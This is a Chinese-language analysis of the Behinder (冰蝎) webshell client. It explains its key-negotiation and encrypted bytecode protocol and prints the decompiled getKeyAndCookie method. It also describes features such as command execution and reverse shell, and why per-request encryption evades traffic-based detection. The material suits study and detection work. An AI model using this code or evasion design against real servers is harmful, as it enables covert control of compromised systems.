冰蝎流程图如下:
冰蝎是先请求服务端,服务端判断请求之后生成一个128位的随机数,并将这个128位的随机数写入到session里面,并将这个128位的随机数返回给客户端,但是客户端并不会使用这个key作为之后的通讯的key,而是会继续重复上面过程,不断获取key,直到满足特定条件之后,才会确定是最终的key。客户端会保存这个key和响应报文里面的set-cookie的值。这个key就是之后客户端和服务端进行通讯的密匙。
获取key和保存cookie之后,获取服务端信息,执行命令,文件操作,数据库操作等都是使用这个key和cookie进行操作,对执行的代码动态生成class字节数组,然后使用key进行aes加密,再进行base64编码,并用post方式发送数据。接收服务端返回的数据时,先使用key进行解密,解密之后的数据一般是使用了base64编码,解码之后就可以获取服务端返回的明文数据。
反编译Behinder.jar包,其核心代码在net.rebeyond.behinder包内
冰蝎的原理为上传一个class字节码,通过调用classloader的defineClass方法,将class字节码,转换为Class。实例化上传的这个类,通过equal方法传递PageContext。获取到PageContext,间接获取到Request、Response、Seesion等对象。如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest()
其核心部分是协商密钥getKeyAndCookie
客户端打开和服务端的连接之后,会先调用BasicInfoUtils类,在BasicInfoUtils类的getBasicInfo方法里,会调用ShellService的构造方法新建ShellService类。而在ShellService类里面的构造方法,会调用Utils的getKeyAndCookie方法。
Utils.getKeyAndCookie方法:
public static Map getKeyAndCookie(String getUrl, String password, Map requestHeaders) throws Exception {
disableSslVerification();
Map result = new HashMap();
StringBuffer sb = new StringBuffer();
InputStreamReader isr = null;
BufferedReader br = null;
URL url;
if (getUrl.indexOf("?") > 0) {
url = new URL(getUrl + "&" + password + "=" + (new Random()).nextInt(1000));
} else {
url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
}
HttpURLConnection.setFollowRedirects(false);
Object urlConnection;
String urlwithSession;
String errorMsg;
if (url.getProtocol().equals("https")) {
if (Main.currentProxy != null) {
urlConnection = (HttpsURLConnection)url.openConnection(Main.currentProxy);
if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
urlwithSession = "Proxy-Authorization";
errorMsg = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, errorMsg);
}
} else {
urlConnection = (HttpsURLConnection)url.openConnection();
}
} else if (Main.currentProxy != null) {
urlConnection = (HttpURLConnection)url.openConnection(Main.currentProxy);
if (Main.proxyUserName != null && !Main.proxyUserName.equals("")) {
urlwithSession = "Proxy-Authorization";
errorMsg = "Basic " + Base64.encode((Main.proxyUserName + ":" + Main.proxyPassword).getBytes());
((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, errorMsg);
}
} else {
urlConnection = (HttpURLConnection)url.openConnection();
}
Iterator var23 = requestHeaders.keySet().iterator();
while(var23.hasNext()) {
urlwithSession = (String)var23.next();
((HttpURLConnection)urlConnection).setRequestProperty(urlwithSession, (String)requestHeaders.get(urlwithSession));
}
if (((HttpURLConnection)urlConnection).getResponseCode() == 302 || ((HttpURLConnection)urlConnection).getResponseCode() == 301) {
urlwithSession = ((String)((List)((HttpURLConnection)urlConnection).getHeaderFields().get("Location")).get(0)).toString();
if (!urlwithSession.startsWith("http")) {
urlwithSession = url.getProtocol() + "://" + url.getHost() + ":" + (url.getPort() == -1 ? url.getDefaultPort() : url.getPort()) + urlwithSession;
urlwithSession = urlwithSession.replaceAll(password + "=[0-9]*", "");
}
result.put("urlWithSession", urlwithSession);
}
boolean error = false;
errorMsg = "";
if (((HttpURLConnection)urlConnection).getResponseCode() == 500) {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
error = true;
errorMsg = "密钥获取失败,密码错误?";
} else if (((HttpURLConnection)urlConnection).getResponseCode() == 404) {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getErrorStream());
error = true;
errorMsg = "页面返回404错误";
} else {
isr = new InputStreamReader(((HttpURLConnection)urlConnection).getInputStream());
}
br = new BufferedReader(isr);
String line;
while((line = br.readLine()) != null) {
sb.append(line);
}
br.close();
if (error) {
throw new Exception(errorMsg);
} else {
String rawKey_1 = sb.toString();
String pattern = "[a-fA-F0-9]{16}";
Pattern r = Pattern.compile(pattern);
Matcher m = r.matcher(rawKey_1);
if (!m.find()) {
throw new Exception("页面存在,但是无法获取密钥!");
} else {
int start = 0;
int end = 0;
int cycleCount = 0;
while(true) {
Map KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
String rawKey_2 = (String)KeyAndCookie.get("key");
byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());
int i;
for(i = 0; i < temp.length; ++i) {
if (temp[i] > 0) {
if (start == 0 || i <= start) {
start = i;
}
break;
}
}
for(i = temp.length - 1; i >= 0; --i) {
if (temp[i] > 0) {
if (i >= end) {
end = i + 1;
}
break;
}
}
if (end - start == 16) {
result.put("cookie", (String)KeyAndCookie.get("cookie"));
result.put("beginIndex", String.valueOf(start));
result.put("endIndex", String.valueOf(temp.length - end));
String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
result.put("key", finalKey);
return result;
}
if (cycleCount > 10) {
throw new Exception("Can't figure out the key!");
}
++cycleCount;
}
}
}
}
判断得到的密匙rawKey_1之后,进入循环调用getRawKey方法,并获取rawKey_2,并且将rawKey_1和rawKey_2进行异或操作(
如果rawKey_1和rawKey_2两个值不相同,则异或结果为1。如果rawKey_1和rawKey_2两个值相同,异或结果为0。
)。获取rawKey_2的方法和获取rawKey_1基本是一样的。
获取服务器基本信息getBasicInfo
在获取了cookie和key之后,BasicInfoUtil的getBasicInfo就会调用ShellService的getBasicInfo方法来获取放了木马的服务器的基本信息。
core包
冰蝎的主要逻辑代码。
Crypt.java和Decrypt.java 涉及到server端语言的加密解密
Params.java 调用不同语言的payload,返回其字节序列
如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
PluginUtils.java 插件类
ShellEntity.java shell实体类,获取shell的具体参数信息,包括ip端口等参数
ShellManager.java 冰蝎的shell管理,主要为数据库的增删改查
ShellService.java 连接shell时的一些具体操作,比如命令执行,虚拟终端,反弹shell
payload包
冰蝎实现命令执行,获取信息等的类在payload.java中。
冰蝎主要用到了三个对象,分别是
ui包
UI界面代码
utils包
工具类,core中调用该类中方法
CipherUtils.java 加解密方法类,Crypt.java调用此类并进行封装
Constants.java 常量参数,例如不同的header头
ProxyUtils.java 设置系统代理的方法类